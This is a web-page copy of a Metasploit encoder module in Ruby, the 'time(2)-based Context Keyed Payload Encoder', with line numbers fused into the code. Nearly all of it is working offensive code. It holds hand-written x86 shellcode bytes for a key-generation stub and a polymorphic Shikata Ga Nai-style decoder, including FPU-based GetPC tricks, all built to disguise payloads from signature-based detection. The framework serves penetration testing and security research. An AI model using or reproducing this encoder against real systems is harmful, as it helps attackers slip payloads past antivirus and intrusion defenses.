Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/x86/context_time.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/poly'67class MetasploitModule < Msf::Encoder::XorAdditiveFeedback89# Manual ranking because the time(2) key is generated and supplied10# manually.1112Rank = ManualRanking1314def initialize15super(16'Name' => 'time(2)-based Context Keyed Payload Encoder',17'Description' => %q{18This is a Context-Keyed Payload Encoder based on time(2)19and Shikata Ga Nai.20},21'Author' => 'Dimitris Glynos',22'Arch' => ARCH_X86,23'License' => MSF_LICENSE,24'Decoder' =>25{26'KeySize' => 4,27'BlockSize' => 428})2930register_options(31[32OptString.new('TIME_KEY',33[ true,34"TIME key from target host (see tools/context/time-key utility)",35"0x00000000"])36])37end3839def obtain_key(buf, badchars, state)40state.key = datastore['TIME_KEY'].hex41return state.key42end4344#45# Generates the shikata decoder stub.46#47def decoder_stub(state)48# If the decoder stub has not already been generated for this state, do49# it now. The decoder stub method may be called more than once.50if (state.decoder_stub == nil)51# Shikata will only cut off the last 1-4 bytes of it's own end52# depending on the alignment of the original buffer53cutoff = 4 - (state.buf.length & 3)54block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)5556# Take the last 1-4 bytes of shikata and prepend them to the buffer57# that is going to be encoded to make it align on a 4-byte boundary.58state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf5960# Cache this decoder stub. The reason we cache the decoder stub is61# because we need to ensure that the same stub is returned every time62# for a given encoder state.63state.decoder_stub = block64end6566state.decoder_stub67end6869protected70def keygen_stub71payload =72"\x31\xdb" + # xor %ebx,%ebx73"\x8d\x43\x0d" + # lea 0xd(%ebx),%eax74"\xcd\x80" + # int $0x8075"\x66\x31\xc0" # xor %ax,%ax76end7778#79# Returns the set of FPU instructions that can be used for the FPU block of80# the decoder stub.81#82def fpu_instructions83fpus = []84850xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }860xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }870xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }880xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }890xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }9091fpus << "\xd9\xd0"92fpus << "\xd9\xe1"93fpus << "\xd9\xf6"94fpus << "\xd9\xf7"95fpus << "\xd9\xe5"9697# This FPU instruction seems to fail consistently on Linux98#fpus << "\xdb\xe1"99100fpus101end102103#104# Returns a polymorphic decoder stub that is capable of decoding a buffer105# of the supplied length and encodes the last cutoff bytes of itself.106#107def generate_shikata_block(state, length, cutoff)108# Declare logical registers109key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')110count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')111addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')112113# Declare individual blocks114endb = Rex::Poly::SymbolicBlock::End.new115116# FPU blocks117fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)118fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")119120# Get EIP off the stack121popeip = Rex::Poly::LogicalBlock.new('popeip',122Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })123124# Clear the counter register125clear_register = Rex::Poly::LogicalBlock.new('clear_register',126"\x31\xc9",127"\x29\xc9",128"\x33\xc9",129"\x2b\xc9")130131# Initialize the counter after zeroing it132init_counter = Rex::Poly::LogicalBlock.new('init_counter')133134# Divide the length by four but ensure that it aligns on a block size135# boundary (4 byte).136length += 4 + (4 - (length & 3)) & 3137length /= 4138139if (length <= 255)140init_counter.add_perm("\xb1" + [ length ].pack('C'))141else142init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))143end144145# Key initialization block146147# Decoder loop block148loop_block = Rex::Poly::LogicalBlock.new('loop_block')149150xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }151xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }152xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }153add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }154add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }155add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }156sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }157add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }158159loop_block.add_perm(160Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },161Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },162Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },163Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },164Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },165Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })166167# Loop instruction block168loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',169"\xe2\xf5")170171# Define block dependencies172fnstenv.depends_on(fpu)173popeip.depends_on(fnstenv)174init_counter.depends_on(clear_register)175loop_block.depends_on(popeip, init_counter)176loop_inst.depends_on(loop_block)177178# Generate a permutation saving the EAX, ECX and ESP registers179loop_inst.generate([180Rex::Arch::X86::EAX,181Rex::Arch::X86::ESP,182Rex::Arch::X86::ECX ], nil, state.badchars)183end184end185186187